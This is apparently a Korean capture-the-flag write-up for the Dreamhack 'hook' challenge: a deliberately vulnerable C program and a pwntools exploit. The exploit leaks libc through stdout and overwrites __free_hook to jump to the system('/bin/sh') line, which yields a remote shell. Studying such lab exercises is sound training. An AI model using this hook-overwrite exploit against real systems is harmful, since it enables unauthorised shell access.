code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
main
함수의 마지막 줄에 system("/bin/sh");
가 있다. 하지만 바로 직전에 free(ptr);
을 두 번 하면서 double free로 실행이 먼저 종료된다.
exit
의 GOT을 overwrite하고 싶었지만, 보호기법이 Full RELRO로 걸려있어서 불가능하다.
대신 free
의 hook을 구해서, 다다음 줄로 넘어가도록 바꿔보겠다. 여기서 hook은 해당 함수를 실행하기 전에 먼저 실행되는 함수이다.
- hook을 구하려면 libc base를 구해야 하고, 이는
stdout
의 주소를 통해 구할 수 있다!!
exploit
from pwn import *
p = remote('host3.dreamhack.games', 10937)
e = ELF('./hook')
libc = ELF('libc-2.23.so')
p.recvuntil(b'stdout: ')
leak = int(p.recvline()[:-1], 16)
lb = leak - libc.symbols['_IO_2_1_stdout_']
free_hook = lb + libc.symbols['__free_hook']
# free_hook을 main 함수의 system 함수가 있는 줄로 옮기자!
data = p64(free_hook) + p64(0x400a11)
p.sendlineafter(b': ', b'16')
p.sendlineafter(b': ', data)
p.interactive()